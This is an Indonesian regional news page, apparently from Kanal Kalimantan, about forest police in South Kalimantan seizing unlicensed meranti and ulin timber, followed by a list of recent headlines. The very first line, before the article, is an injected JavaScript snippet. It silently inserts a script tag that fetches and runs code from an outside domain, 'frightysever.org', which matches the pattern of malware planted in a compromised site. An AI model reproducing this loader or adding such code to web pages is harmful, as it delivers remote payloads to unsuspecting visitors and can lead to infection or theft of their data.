(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DISHUT PROV KALSEL

Polhut KPH Pulau Laut Sebuku Temukan Kayu Olahan Tanpa Izin


BANJARBARU, Sebanyak 7,1400 meter kubik kayu temuan berhasil diamankan Tim Pengamanan Hutan Satuan Polhut KPH Pulau Laut Sebuku beserta BKO Polhut Dinas Kehutanan Provinsi Kalsel di wilayah kerja KPH PLS Kecamatan Pulau Laut Tengah, Kabupaten Kotabaru, melalui kegiatan patroli pengamanan hutan Rabu (4/7) lalu.

Tumpukan kayu tidak bertuan tersebut ditemukan berdasarkan hasil intelegensi Tim Satuan Polhut KPH PLS pada target operasi yaitu di lokasi bongkar muat di Desa Semisir – Desa Sungai Pasir. Kayu olahan kelompok meranti (Meranti dan Keruing) tersebut terindikasi merupakan kayu yang bukan berasal dari perizinan yang sah.

Barang bukti kayu temuan tersebut segera diangkut dengan menggunakan truk untuk dibawa dan diamankan oleh tim pengamanan hutan ke gudang tempat penumpukan kayu di Kantor KPH PLS .

Kepala Dinas Kehutanan Provinsi Kalsel DR Hanif Faisol Nurofiq, S.Hut, MP mengatakan, seringnya dilaksanakan patroli rutin pengamanan hutan khususnya pada lokasi-lokasi yang rawan akan tindak pidana pengerusakan hutan. “Diharapkan tindakan ini mampu mengurangi tindak kejahatan illegal logging di wilayah kawasan hutan Kalimantan Selatan,” jelasnya.

Sebelumnya tim Polisi Kehutanan (Polhut) KPH Kayu Tangi juga mendapati 16 potong balokan kayu di wilayah RPH Sungai Pinang hasil pembalakan liar melalui giat pengamanan hutan (pamhut) yang ditinggalkan pemiliknya yang diangkut dengan menggunakan kendaraan roda dua yang sudah dimodifikasi, Selasa (29/5).

Kayu temuan berjenis ulin bersama alat angkut tersebut ditemukan pada kawasan hutan di wilayah kerja KPH Kayu Tangi, tepatnya di Desa Rantau Bakula Kecamatan Sungai Pinang Kabupaten Banjar.

Terhadap barang bukti kayu temuan tersebut, tim pengamanan hutan segera membawanya ke kantor KPH Kayu Tangi untuk kemudian diserahkan ke kantor Polhut Dinas Kehutanan. Saat ini kayu tersebut sudah berada di halaman belakang kantor Polhut Dishut di Gang Petai Banjarbaru. (rendy)

Reporter: Rendy
Editor: Chell

Desy Arfianty

Recent Posts

Ini Makna di Balik Shio Kuda Api Imlek 2026

KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More

31 menit ago

Malam Imlek Penuh Khidmat di Klenteng Karta Raharja Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More

2 jam ago

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

19 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

1 hari ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

1 hari ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

2 hari ago

This website uses cookies.